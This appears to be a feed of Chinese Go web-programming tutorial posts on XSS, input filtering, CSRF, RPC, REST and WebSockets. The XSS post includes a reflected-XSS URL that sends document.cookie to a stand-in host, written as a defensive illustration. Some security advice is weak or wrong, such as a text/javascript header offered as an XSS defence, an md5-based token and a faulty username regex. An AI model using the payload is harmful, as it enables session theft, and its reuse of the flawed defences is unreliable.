为了不将它与另一个常见的网络首字母缩略词CSS（Cascading Style Sheets）混淆，我们在跨站点脚本中使用X而不是C来进行交叉。
XSS是一种常见的Web安全漏洞，允许攻击者将恶意代码注入网页。
与通常仅涉及攻击者和受害者的大多数类型的攻击不同，XSS涉及三方：攻击者，客户端和Web应用程序。
XSS攻击的目的是窃取Web应用程序存储在客户端上的cookie，以便读取敏感的客户端信息。
一旦攻击者获得此信息，他们就可以冒充用户并在不知情或未经批准的情况下与网站进行互动。

XSS攻击通常可以分为两类：一类是存储的XSS攻击。
当允许用户将数据输入到公共页面上时，会出现这种形式的攻击，该公共页面在被服务器保存之后将被返回（未转义）给恰好正在浏览它的其他用户。
通常受影响的页面类型的一些示例包括评论，评论，博客帖子和留言板。
这个过程通常是这样的：攻击者输入一些html后跟一个隐藏的标签，其中包含一些恶意代码，然后点击保存。
Web应用程序将其保存到数据库中。
当另一个用户请求此页面时，应用程序从数据库中查询此受污染的数据并将该页面提供给用户。
攻击者的脚本然后在客户端的计算机上执行任意代码。

另一种类型是反射的XSS攻击。
主要思想是将恶意脚本直接嵌入到URL地址的查询参数中。
服务器立即将此数据解析为结果页并将其返回（发出请求的客户端）未经过无限制，可能会无意中导致客户端的计算机执行此代码。
攻击者可以使用编码的有效负载向用户发送合法的链接到受信任的网站;
单击此链接可能导致用户的浏览器执行恶意脚本。

XSS的主要手段和结尾如下：

盗窃cookie，访问敏感信息。
通过跨域权限使用嵌入式Flash也可以被攻击者用来获取更高的用户权限。这也适用于其他类似的攻击向量，如Java和VBScript。
使用iframes, frames, XMLHttpRequests等可以允许攻击者承担用户的身份以执行管理操作，例如微博，添加朋友，发送私人消息和其他例行操作。不久前，新浪微博平台遭遇了这种类型的XSS漏洞。
当许多用户访问受XSS攻击影响的页面时，对某些较小站点的影响可能与DDoS攻击的影响相当。

XSS原则

在没有首先检查和过滤它的情况下向用户返回所请求数据的Web应用程序可以允许恶意用户将脚本（通常嵌入在标签内的HTML内）注入其他用户的浏览器。
当这个恶意代码在用户的浏览器上呈现而没有首先被转义时，用户的浏览器将解释这个代码：这是XSS攻击的定义，这种类型的错误是导致XSS漏洞的主要原因。

让我们来看看反射XSS攻击的过程。
假设有一个网站根据URL查询参数输出用户名;
访问以下URL http://127.0.0.1/?name=durban将导致服务器输出以下内容：

hello xxx

假设我们传递以下参数，访问相同的URL：http://127.0.0.1/?name=alert(‘durban，xss’)。
如果这导致浏览器生成警报弹出框，我们可以确认该站点容易受到XSS攻击。
那么恶意用户如何使用相同类型的攻击窃取cookie?

和以前一样，我们有一个URL：

http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;

通过单击此URL，您将当前cookie发送到指定的站点：www.xxx.com。
您可能想知道，为什么有人会首先点击这样一个看起来很奇怪的URL?
虽然这种URL确实会让大多数人持怀疑态度，但如果攻击者使用众多流行的URL缩短服务之一来掩盖它，你还能看到它吗？
大多数攻击者会以这种或那种方式混淆URL，并且在点击它之后你只知道链接的合法性。
但是到目前为止，cookie数据已经被发送到第三方网站，从而危及您的敏感信息。
您可以使用Websleuth等工具来审核Web应用程序的安全性，以了解这些类型的漏洞。

有关XSS攻击的更详细分析，请查看文章："[新浪微博XSS事件分析] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"

如何防止XSS

答案很简单：永远不要信任用户输入，并且总是过滤掉您可能收到的任何输入数据中的所有特殊字符。
这将消除大多数XSS攻击。

使用以下技术来抵御XSS攻击：

过滤特殊字符

避免XSS的一种方法是过滤用户提供的内容。
Go语言在其text/template包中提供了一些HTML过滤功能，例如HTMLEscapeString和JSEscapeString等。

在HTTP标头中指定内容类型

w.Header().Set("Content-Type","text/javascript")

这允许客户端浏览器将响应解析为javascript代码（应用必要的过滤器），而不是以未指定和潜在危险的方式呈现内容。

小结

在开发Web应用程序时，引入XSS漏洞是一个非常现实的危险。
重要的是要记住过滤所有数据，特别是在将数据输出到客户端之前;
现在，这是一种预防XSS的成熟手段。

Go基础学习记录之过滤输入

Mon, 04 Aug 2025 11:38:43 +0000

过滤输入

过滤用户数据是我们提高Web应用程序安全性的一种方法，使用它来验证传入数据的合法性。
过滤所有输入数据以避免恶意代码或数据被错误地执行或存储。
大多数Web应用程序漏洞都会忽略过滤输入数据并天真地信任它。

我们对过滤数据的介绍分为三个步骤：

识别数据;我们需要过滤数据以确定其来源
过滤数据本身;我们需要弄清楚我们收到的数据类型
区分过滤（消毒）和污染数据;数据过滤后，我们可以确信它是安全的

识别数据

“识别数据”是我们的第一步，因为大多数时候，如上所述，我们不知道它的来源。
没有这些知识，我们将无法正确过滤它。
此处的数据全部来自非代码数据。
例如：所有数据都来自客户端，但用户的客户端不是唯一的外部数据源。
提供第三方数据的数据库接口也可以是外部数据源。

在Go中很容易识别用户输入的数据。
我们在用户POST表单后使用r.ParseForm来获取r.Form中的所有数据。
其他类型的输入更难以识别。
例如，在r.Headers中，许多元素通常由客户端操纵。
通常很难确定客户操纵了哪些元素，因此最好将它们全部视为已被污染。
例如，r.Header.Get(“Accept-Charset”)头字段也被视为用户输入，尽管这些通常仅由浏览器操纵。

过滤数据

如果我们知道数据的来源，我们可以过滤它。
过滤是该术语的一种正式用法。
许多其他术语（例如输入清洁，验证和消毒）都知道该过程。
尽管这些术语的含义有所不同，但它们都指的是同一件事：防止非法数据进入您的应用程序的过程。

有许多方法可以过滤数据，其中一些方法不如其他方法安全。
最好的方法是检查数据本身是否符合您的应用程序规定的法律要求。
在尝试这样做时，不要试图纠正非法数据是非常重要的;
这可能允许恶意用户根据自己的需要操纵验证规则，从根本上破坏了过滤数据的目的。
历史证明，尝试更正无效数据通常会导致安全漏洞。
让我们来看一个过于简单的例子，用于说明目的。
假设银行系统要求用户提供安全的6位数密码。
系统验证所有密码的长度。
有人可能天真地编写一个验证规则来纠正非法长度的密码：“如果密码短于法定长度，请用0表示填写剩余数字”。
这个简单的规则允许攻击者只猜测密码的前几位数，以成功获得用户帐户的访问权限！

我们可以使用几个库来帮助我们过滤数据：

strconv包可以帮助我们将用户输入的字符串转换为特定类型，因为r.Forms是字符串值的映射。strconv提供的一些常见字符串转换是Atoi，ParseBool，ParseFloat和ParseInt。
Go的strings包包含一些过滤函数，如Trim，ToLower和ToTitle，它们可以帮助我们根据需要获取特定格式的数据。
Go的regexp包可用于处理本质上更复杂的案例，例如确定输入是电子邮件地址，生日等。

区分已过滤和受污染的数据

如果您已完成上述步骤，则基本上已完成过滤数据的工作。
但是，在编写Web应用程序时，我们还需要区分已过滤和受污染的数据，因为这样做可以保证数据过滤过程的完整性，而不会影响输入数据。
让我们将所有过滤后的数据放入名为CleanMap的全局映射变量中。
然后，需要两个重要步骤来防止数据注入污染：

每个请求必须将CleanMap初始化为空映射。
防止将名为CleanMap的外部数据源中的变量引入应用程序。

接下来，让我们使用示例表单来强化这些概念：

<form action="/whoami" method="POST">
 Who am I:
 <select name="name">
 <option value="durban">durban</option>
 <option value="durban1">durban1</option>
 <option value="durban2">durban2</option>
 </select>
 <input type="submit" />
</form>

在处理这种类型的表单时，很容易犯错误，认为用户只能提交三个选择选项中的一个。
实际上，攻击者可以轻松模拟POST操作。
例如，通过使用name = attack提交相同的表单，恶意用户可能会将非法数据引入我们的系统。
我们可以使用简单的白名单来对抗这些类型的攻击：

r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "durban" || name == "durban1" || name == "durban2" {
 CleanMap["name"] = name
}

上面的代码初始化了一个CleanMap变量，只有在对合法值的内部白名单(在这种情况下为durban，durban1和durban2)进行检查后才会分配名称。
我们将数据存储在CleanMap实例中，因此您可以确保CleanMap[“name”]包含经过验证的值。
任何希望访问此值的代码都可以自由地执行此操作。
如果白名单用于处理非法数据，我们还可以在上面添加其他语句，可能是表单显示错误。
不要试图过于宽容，否则您可能会意外污染您的CleanMap。

用于根据一组已知的合法值过滤数据的上述方法是非常有效的。
还有另一种方法可以检查传入数据是否由使用正则表达式的合法字符组成，但是在上述情况下，我们要求该名称是select中的一个选项，这将无效。
例如，您可能要求用户名仅包含字母和数字：

r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
 CleanMap["username"] = username
}

小结

数据过滤在现代Web应用程序的安全性中起着至关重要的作用。
大多数安全漏洞是由于不正确地过滤数据或忽略正确验证数据而导致的。
由于前一部分涉及CSRF攻击，接下来的两部分将引入XSS攻击和SQL注入，因此在处理与数据清理同等重要的主题时没有自然的区别，因此在本节中，我们特别关注它。

Go基础学习记录之CSRF攻击(二)

Mon, 04 Aug 2025 11:38:40 +0000

CSRF攻击

如何防止CSRF攻击

通过上篇文章[]的介绍，您可能会有点害怕。
但恐惧是件好事。
它将迫使您自行了解如何防止此类漏洞发生在您身上。

可以在Web应用程序的服务器端和客户端上采取针对CSRF攻击的预防措施。
但是，CSRF攻击在服务器端最有效地受到阻碍。

有许多方法可以防止服务器端的CSRF攻击。
大多数方法来自以下两个方面：

保持正确使用GET，POST和cookies。
包括带有非GET请求的伪随机数

在前面几章关于REST的介绍中，我们了解了大多数Web应用程序是如何基于GET和POST HTTP请求的，并且这些cookie与这些请求一起被包含在内。
我们通常根据以下原则设计应用程序：

GET通常用于在不更改任何数据的情况下查看信息。
POST用于下订单，更改资源属性或执行其他任务

我现在将使用Go语言来说明如何限制对资源方法的访问：

controller.Get("/user/:uid", FetchUser)
controller.Post("/user/:uid", UpdateUser)

由于我们已经规定修改只能使用POST，因此当发出GET方法而不是POST时，我们可以拒绝响应请求。
根据上段代码，可以防止利用GET作为CSRF漏洞的攻击。
这足以阻止所有可能的CSRF攻击吗？
当然不是，因为POST也可以伪造。

我们需要实现第二步，即（在非GET请求的情况下）增加请求中包含的伪随机数的长度。
这通常涉及以下步骤：

对于每个用户，生成具有伪随机值的唯一cookie令牌。所有表单必须包含相同的伪随机值。这个提议是最简单的，因为从理论上讲，攻击者无法读取第三方cookie。攻击者可能提交的任何表单都将无法通过验证过程而不知道随机值是什么。
不同的表单包含不同的伪随机值，正如我们在第4.4节“如何防止多表单提交”中所介绍的那样。我们可以重用该部分中的相关代码来满足我们的需求：

生成随机数令牌：

h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))

t, _ := template.ParseFiles("login.html")
t.Execute(w, token)

输出令牌：

<input type="hidden" name="token" value="{{.}}">

验证令牌：

r.ParseForm()
token := r.Form.Get("token")
if token! = "" {
 // Verification token of legitimacy
} Else {
 // Error token does not exist
}

我们可以使用上面的代码来保护我们的POST。
您可能想知道，根据我们的理论，恶意第三方是否可能以某种方式找出我们的秘密令牌价值？
事实上，破解它基本上是不可能的 - 使用强力方法计算正确的字符串值需要大约2到11次。

小结

跨站点请求伪造（也称为CSRF）是一种非常危险的Web安全威胁。
它在网络安全圈中被称为“沉睡的巨人”安全问题;
正如您所知，CSRF攻击具有相当的声誉。
本次分享不仅介绍了跨站点请求伪造本身，还介绍了此漏洞背后的因素。
最后提出了一些防止此类攻击的建议和方法。
作为读者，我希望本次分享能够激励您编写更好，更安全的Web应用程序。

Go基础学习记录之CSRF攻击(一)

Mon, 04 Aug 2025 11:38:36 +0000

CSRF攻击

什么是CSRF？

CSRF和XSRF都代表"跨站请求伪造"。
它也被称为"一键攻击"或"会话骑行"。

那么CSRF攻击如何运作？
当攻击者欺骗受信任的用户访问网站或点击将恶意请求（未经用户同意）传输到目标网站的URL时，就会发生CSRF攻击。
这是一个简单的例子：使用一些社交工程技巧，攻击者可以使用QQ聊天软件查找并向针对其用户的在线银行网站的受害者发送恶意链接。
如果受害者登录其在线银行帐户并且未退出，则单击攻击者发送的恶意链接可能允许攻击者窃取该用户的所有银行帐户资金。

在CSRF攻击下，具有管理员帐户的单个终端用户可能会威胁到整个Web应用程序的完整性。

CSRF原理

下图提供了CSRF攻击的简单概述

从图中可以看出，要完成CSRF攻击，受害者必须完成以下两个步骤：

登录受信任的站点A，并存储本地Cookie。
无需通过现有站点A，访问站点B的危险链接

作为读者，您可能会问：“如果我不满足上述两个条件，我将不会受到CSRF攻击。”
是的，这是真的，但是您不能保证不会发生以下情况：

您无法保证在您登录站点时，该站点未启动任何隐藏的选项卡。
您不能保证当您关闭浏览器时，您的cookie将立即过期，您的上一个会话将结束。
受信任的高流量网站可能没有隐藏的漏洞，可以通过基于CSRF的攻击轻松利用。

因此，用户可能难以通过链接访问网站并且知道它不会以CSRF攻击的形式执行未知操作。

CSRF攻击的工作主要是因为用户通过身份验证的过程。
虽然您可以合理地保证请求来自用户的浏览器，但无法保证用户批准该请求。

Go基础学习记录之RPC(二)

Mon, 04 Aug 2025 11:38:33 +0000

继续上篇文章[Go基础学习记录之RPC(一)]

继续看下如何实践HTTP RPC、TCP RPC和JSON RPC

HTTP RPC

HTTP服务器端代码：

package main

import (
 "errors"
 "fmt"
 "net/http"
 "net/rpc"
)

type Args struct {
 A, B int
}

type Quotient struct {
 Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
 *reply = args.A * args.B
 return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
 if args.B == 0 {
 return errors.New("divide by zero")
 }
 quo.Quo = args.A / args.B
 quo.Rem = args.A % args.B
 return nil
}

func main() {

 arith := new(Arith)
 rpc.Register(arith)
 rpc.HandleHTTP()

 err := http.ListenAndServe(":1234", nil)
 if err != nil {
 fmt.Println(err.Error())
 }
}

我们注册了Arith的RPC服务，然后通过rpc.HandleHTTP在HTTP上注册了这个服务。
之后，我们可以通过HTTP传输数据。客户端代码：

package main

import (
 "fmt"
 "log"
 "net/rpc"
 "os"
)

type Args struct {
 A, B int
}

type Quotient struct {
 Quo, Rem int
}

func main() {
 if len(os.Args) != 2 {
 fmt.Println("Usage: ", os.Args[0], "server")
 os.Exit(1)
 }
 serverAddress := os.Args[1]

 client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
 if err != nil {
 log.Fatal("dialing:", err)
 }
 // Synchronous call
 args := Args{17, 8}
 var reply int
 err = client.Call("Arith.Multiply", args, &reply)
 if err != nil {
 log.Fatal("arith error:", err)
 }
 fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

 var quot Quotient
 err = client.Call("Arith.Divide", args, &quot)
 if err != nil {
 log.Fatal("arith error:", err)
 }
 fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

我们分别编译客户端和服务器端代码，然后启动服务器和客户端。
输入一些数据后，您将获得类似的内容。

$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1

如您所见，我们为返回类型定义了一个结构。
我们将它用作服务器端的函数参数类型，以及客户端client.Call上的第二个和第三个参数的类型。
这个调用非常重要。
它有三个参数，第一个是要调用的函数的名称，第二个是要传递的参数，最后一个是返回值（指针类型）。
到目前为止，我们看到在Go中实现RPC非常容易。

TCP RPC

让我们尝试基于TCP的RPC，这里是服务器端代码：

package main

import (
 "errors"
 "fmt"
 "net"
 "net/rpc"
 "os"
)

type Args struct {
 A, B int
}

type Quotient struct {
 Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
 *reply = args.A * args.B
 return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
 if args.B == 0 {
 return errors.New("divide by zero")
 }
 quo.Quo = args.A / args.B
 quo.Rem = args.A % args.B
 return nil
}

func main() {

 arith := new(Arith)
 rpc.Register(arith)

 tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
 checkError(err)

 listener, err := net.ListenTCP("tcp", tcpAddr)
 checkError(err)

 for {
 conn, err := listener.Accept()
 if err != nil {
 continue
 }
 rpc.ServeConn(conn)
 }

}

func checkError(err error) {
 if err != nil {
 fmt.Println("Fatal error ", err.Error())
 os.Exit(1)
 }
}

HTTP RPC和TCP RPC之间的区别在于，如果我们使用TCP RPC，则必须自己控制连接，然后将连接传递给RPC进行处理。

你可能已经猜到了，这是一种阻塞模式。
您可以自由地使用goroutine将此应用程序扩展为更高级的实验。

客户端代码：

package main

import (
 "fmt"
 "log"
 "net/rpc"
 "os"
)

type Args struct {
 A, B int
}

type Quotient struct {
 Quo, Rem int
}

func main() {
 if len(os.Args) != 2 {
 fmt.Println("Usage: ", os.Args[0], "server:port")
 os.Exit(1)
 }
 service := os.Args[1]

 client, err := rpc.Dial("tcp", service)
 if err != nil {
 log.Fatal("dialing:", err)
 }
 // Synchronous call
 args := Args{17, 8}
 var reply int
 err = client.Call("Arith.Multiply", args, &reply)
 if err != nil {
 log.Fatal("arith error:", err)
 }
 fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

 var quot Quotient
 err = client.Call("Arith.Divide", args, &quot)
 if err != nil {
 log.Fatal("arith error:", err)
 }
 fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

客户端代码的唯一区别是HTTP客户端使用DialHTTP而TCP客户端使用Dial（TCP）。

JSON RPC

JSON RPC将数据编码为JSON而不是gob。

让我们看一下服务器上Go JSON RPC的示例：

package main

import (
 "errors"
 "fmt"
 "net"
 "net/rpc"
 "net/rpc/jsonrpc"
 "os"
)

type Args struct {
 A, B int
}

type Quotient struct {
 Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
 *reply = args.A * args.B
 return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
 if args.B == 0 {
 return errors.New("divide by zero")
 }
 quo.Quo = args.A / args.B
 quo.Rem = args.A % args.B
 return nil
}

func main() {

 arith := new(Arith)
 rpc.Register(arith)

 tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
 checkError(err)

 listener, err := net.ListenTCP("tcp", tcpAddr)
 checkError(err)

 for {
 conn, err := listener.Accept()
 if err != nil {
 continue
 }
 jsonrpc.ServeConn(conn)
 }

}

func checkError(err error) {
 if err != nil {
 fmt.Println("Fatal error ", err.Error())
 os.Exit(1)
 }
}

JSON RPC基于TCP，但尚不支持HTTP。
客户端代码：

package main

import (
 "fmt"
 "log"
 "net/rpc/jsonrpc"
 "os"
)

type Args struct {
 A, B int
}

type Quotient struct {
 Quo, Rem int
}

func main() {
 if len(os.Args) != 2 {
 fmt.Println("Usage: ", os.Args[0], "server:port")
 log.Fatal(1)
 }
 service := os.Args[1]

 client, err := jsonrpc.Dial("tcp", service)
 if err != nil {
 log.Fatal("dialing:", err)
 }
 // Synchronous call
 args := Args{17, 8}
 var reply int
 err = client.Call("Arith.Multiply", args, &reply)
 if err != nil {
 log.Fatal("arith error:", err)
 }
 fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

 var quot Quotient
 err = client.Call("Arith.Divide", args, &quot)
 if err != nil {
 log.Fatal("arith error:", err)
 }
 fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

小结

Go对HTTP，TPC和JSON RPC实现有很好的支持，这使我们可以轻松开发分布式Web应用程序;
但是，令人遗憾的是Go没有内置的SOAP RPC支持，尽管一些开源的第三方软件包提供了这一功能。

Go基础学习记录之RPC(一)

Mon, 04 Aug 2025 11:38:29 +0000

RPC

在前面的部分中，我们讨论了如何基于套接字和HTTP编写网络应用程序。
我们了解到它们都使用“信息交换”模型，客户端发送请求和服务器响应它们。
这种数据交换基于特定格式，以便双方能够彼此通信。
但是，许多独立的应用程序不使用此模型，而是调用服务，就像它们调用普通函数一样。

RPC旨在成为联网系统的函数调用模式。
客户端执行RPC就像调用本机函数一样，除了它们打包函数参数并通过网络将它们发送到服务器。
然后，服务器可以解压缩这些参数并处理请求，将结果返回给客户端。

在计算机科学中，远程过程调用（RPC）是一种进程间通信，它允许计算机程序使子例程或过程在另一个地址空间（通常在共享网络上的另一台计算机上）上执行，而无需程序员明确地
编码此远程交互的详细信息。
也就是说，程序员基本上编写相同的代码，无论子程序是执行程序的本地程序还是远程程序。
当有问题的软件使用面向对象原则时，RPC称为远程调用或远程方法调用。

RPC工作原理

通常，从客户端到服务器的RPC调用具有以下十个步骤：

调用客户端句柄，执行传输参数。
调用本地系统内核发送网络消息。
将消息发送到远程主机。
服务器接收句柄和参数。
执行远程进程。
将执行结果返回给相应的句柄。
服务器句柄调用远程系统内核。
消息发送回本地系统内核。
客户端句柄从系统内核接收消息。
客户端从相应的句柄获取结果。

Golang RPC

Go在其标准库中有三个级别的官方支持，即TCP，HTTP和JSON RPC。
请注意，Go RPC与其他传统RPC系统不同。
它要求您在客户端和服务器端使用Go应用程序，因为它使用Gob对内容进行编码。

Go RPC的功能必须遵守以下远程访问规则，否则将忽略相应的调用。

功能导出（大写）。
函数必须具有导出类型的两个参数。
第一个参数是从客户端接收，第二个参数必须是指针，用于回复客户端。
函数必须具有错误类型的返回值。

例如：

func (t *T) MethodName(argType T1, replyType *T2) error

其中T，T1和T2必须能够通过package/gob包进行编码。

任何类型的RPC都必须通过网络传输数据。
Go RPC可以使用HTTP或TCP。
使用HTTP的好处是可以重用net/http包中的一些函数。

Go基础学习记录之REST(二)

Mon, 04 Aug 2025 11:38:25 +0000

RESTful实现

Go没有直接支持REST，但由于RESTful Web应用程序都是基于HTTP的，我们可以使用net/http包来自己实现它。
当然，在我们能够完全实现REST之前，我们首先需要做一些修改。

REST使用不同的方法来处理资源，具体取决于该资源所需的交互。
许多现有应用程序声称是RESTful但它们实际上并不实现REST。
我将这些应用程序分为几个级别，取决于它们实现的HTTP方法。

{% img https://cdn.xiaorongmao.com/up/golang_web_46_1.png "" %}

上图显示了当前在REST中实现的三个级别。
在开发自己的应用程序时，您可能不会选择遵循REST的所有规则和约束，因为有时它的规则不适合所有情况。
RESTful Web应用程序使用每个HTTP方法，包括DELETE和PUT，但在许多情况下，HTTP客户端只能发送GET和POST请求。

HTML标准允许客户端通过链接和表单发送GET和POST请求。没有AJAX支持，不可能发送PUT或DELETE请求。
一些防火墙拦截PUT和DELETE请求，客户端必须使用POST才能实现它们。完全RESTful服务负责查找原始HTTP方法并恢复它们。

我们可以通过在POST请求中添加隐藏的_method字段来模拟PUT和DELETE请求，但是这些请求必须在处理之前在服务器端进行转换。
在Go中轻松实现标准RESTful接口，如以下示例所示：

package main

import (
 "fmt"
 "log"
 "net/http"

 "github.com/julienschmidt/httprouter"
)

func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
 fmt.Fprint(w, "Welcome!\n")
}

func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name"))
}

func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 uid := ps.ByName("uid")
 fmt.Fprintf(w, "you are get user %s", uid)
}

func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 uid := ps.ByName("uid")
 fmt.Fprintf(w, "you are modify user %s", uid)
}

func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 uid := ps.ByName("uid")
 fmt.Fprintf(w, "you are delete user %s", uid)
}

func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 // uid := r.FormValue("uid")
 uid := ps.ByName("uid")
 fmt.Fprintf(w, "you are add user %s", uid)
}

func main() {
 router := httprouter.New()
 router.GET("/", Index)
 router.GET("/hello/:name", Hello)

 router.GET("/user/:uid", getuser)
 router.POST("/adduser/:uid", adduser)
 router.DELETE("/deluser/:uid", deleteuser)
 router.PUT("/moduser/:uid", modifyuser)

 log.Fatal(http.ListenAndServe(":8080", router))
}

此示例代码向您展示如何编写非常基本的REST应用程序。我们的资源是用户，我们对不同的方法使用不同的功能。在这里，我们导入了一个名为github.com/julienschmidt/httprouter的第三方软件包。我们已经介绍了如何在前面的章节中实现自定义路由器–julienschmidt/httprouter包实现了一些非常方便的路由器映射规则，这使得它非常便于实现RESTful架构。如您所见，REST要求您为同一资源的不同HTTP方法实现不同的逻辑。

总结

REST是一种Web架构风格，它基于过去WWW的成功经验：无状态，以资源为中心，充分利用HTTP和URI协议以及提供统一的接口。
这些出色的设计考虑因素使REST成为最受欢迎的Web服务标准。
从某种意义上说，通过强调URI并利用早期的Internet标准（如HTTP），REST为大型可扩展的Web应用程序铺平了道路。
目前，Go对REST的支持仍然非常基础。
但是，通过为每种类型的HTTP请求实现自定义路由规则和不同的请求处理程序，我们可以在Go webapps中实现RESTful架构。

Go基础学习记录之REST(一)

Mon, 04 Aug 2025 11:38:21 +0000

REST

REST是当今互联网上最流行的软件架构，因为它建立在明确定义的严格标准之上，并且易于理解和扩展。
越来越多的网站将他们的设计基于REST。
在本篇文章分享中，我们将仔细研究在Go中实现REST架构，并（希望）学习如何利用它来实现我们的利益。

什么是REST？

REST（REpresentational State Transfer）概念的第一次宣言是在2000年Roy Thomas Fielding的博士论文中，他也恰好是HTTP协议的共同创始人。
它指定了体系结构的约束和原则，使用此体系结构实现的任何内容都可以称为RESTful系统。

在我们了解REST之前，我们需要涵盖以下概念：

资源（Resources）

REST是表示层状态转移，其中表示层实际上是资源表示层。那资源是什么？图片，文档或视频等都是资源的示例，可以通过URI定位。

表示层（Representation）
资源是特定的信息实体，可以在表示层中以各种方式显示。例如，TXT文档可以表示为HTML，JSON，XML等;图像可以表示为jpg，png等。

URI用于标识资源，但我们如何确定其特定的表现形式？您将被引用到HTTP请求标头中的Accept和Content-Type;这两个字段描述了表示层。

State Transfer（状态转移）
每次访问网站的任何页面时，都会在客户端和服务器之间启动交互式过程。在此过程中，需要保存与当前页面状态相关的某些数据。但是，您会记得HTTP是无状态协议！很明显，我们需要在服务器端保存此客户端状态。
因此，如果客户端修改某些数据并希望保留更改，则必须有一种方法可以向服务器端通知新状态。

大多数情况下，客户端使用HTTP通知服务器状态更改。他们有四个操作来执行此操作：
-GET 用来获取资源
-POSTs 用于创建或更新资源
-PUT 更新资源
-DELETE 删除资源

总结以上内容：

1）每个URI代表一个资源。
2）有一个表示层，用于在客户端和服务器之间传输资源。
3）客户端使用四种HTTP方法来实现"表示层状态传输"，允许它们在远程资源上运行。

实现REST的Web应用程序最重要的原则是客户端和服务器之间的交互是无状态的;
每个请求都应该封装所有必需的信息。
服务器应该能够在没有通知客户端的情况下随时重启。
此外，任何服务器都可以响应请求，这是云计算的理想选择。
最后，因为它是无状态的，所以客户端可以缓存数据以提高性能。

REST的另一个重要原则是系统分层，这意味着一层中的组件无法直接与其他层中的组件交互。
这可能会限制系统复杂性并鼓励底层组件的独立性。

{% img https://cdn.xiaorongmao.com/up/golang_web_45_1.png "" %}

当明智地遵守RESTful约束时，可以扩展Web应用程序以适应大量客户端。
使用REST架构还可以帮助减少客户端和服务器之间的延迟，简化系统架构并提高子系统端点的可见性。

{% img https://cdn.xiaorongmao.com/up/golang_web_45_2.png "" %}

Go基础学习记录之WebSockets(二)

Fri, 01 Aug 2025 11:36:18 +0000

Go中的WebSocket

go标准库不支持WebSockets。
然而，websocket包是go.net的一个子包，并且正式维护和支持。
使用go get来安装这个包：

go get golang.org/x/net/websocket

WebSockets同时具有客户端和服务器端。
让我们看一个简单的例子，用户在客户端输入一些信息并通过WebSocket将其发送到服务器，然后服务器将信息推送回客户端。客户端代码如下：

<html>
<head>Test Websocket</head>
<body>
 <script type="text/javascript">
 var sock = null;
 var wsuri = "ws://127.0.0.1:1234";

 window.onload = function() {

 console.log("onload");

 sock = new WebSocket(wsuri);

 sock.onopen = function() {
 console.log("connected to " + wsuri);
 }

 sock.onclose = function(e) {
 console.log("connection closed (" + e.code + ")");
 }

 sock.onmessage = function(e) {
 console.log("message received: " + e.data);
 }
 };

 function send() {
 var msg = document.getElementById('message').value;
 sock.send(msg);
 };
 </script>
 <h1>WebSocket Echo Test</h1>
 <form>
 <p>
 Message: <input id="message" type="text" value="Hello, world!">
 </p>
 </form>
 <button onclick="send();">Send Message</button>
</body>
</html>

如您所见，使用客户端JavaScript函数建立连接非常容易。
在成功完成上述握手过程后触发onopen事件。
它告诉客户端已成功创建连接。
尝试打开连接的客户端通常绑定到四个事件：

1）onopen：连接建立后触发。
2）onmessage：收到消息后触发。
3）onerror：发生错误后触发。
4）onclose：连接关闭后触发。

服务器端代码如下：

package main

import (
 "golang.org/x/net/websocket"
 "fmt"
 "log"
 "net/http"
)

func Echo(ws *websocket.Conn) {
 var err error

 for {
 var reply string

 if err = websocket.Message.Receive(ws, &reply); err != nil {
 fmt.Println("Can't receive")
 break
 }

 fmt.Println("Received back from client: " + reply)

 msg := "Received: " + reply
 fmt.Println("Sending to client: " + msg)

 if err = websocket.Message.Send(ws, msg); err != nil {
 fmt.Println("Can't send")
 break
 }
 }
}

func main() {
 http.Handle("/", websocket.Handler(Echo))

 if err := http.ListenAndServe(":1234", nil); err != nil {
 log.Fatal("ListenAndServe:", err)
 }
}

当客户端发送用户输入信息时，服务器接收它，并再次使用发送返回响应。

通过上面的例子，我们可以看到WebSockets的客户端和服务器端实现非常方便。
我们可以直接在Go中使用net包。
随着HTML5的快速发展，WebSockets将在现代Web开发中扮演更重要的角色;
我们都应该至少对它们有点熟悉。

Go基础学习记录之WebSockets(一)

Fri, 01 Aug 2025 11:36:14 +0000

WebSockets

WebSockets是HTML5的一个重要特性。
它实现了基于浏览器的远程套接字，允许浏览器与服务器进行全双工通信。
Firefox，Google Chrome和Safari等主流浏览器支持此WebSockets。

在WebSockets诞生之前，人们经常使用“滚动轮询”进行即时消息传递服务，这允许客户端定期发送HTTP请求。
然后，服务器将最新数据返回给客户端。
这种方法的缺点是它要求客户端不断向服务器发送许多请求，这会占用大量带宽。

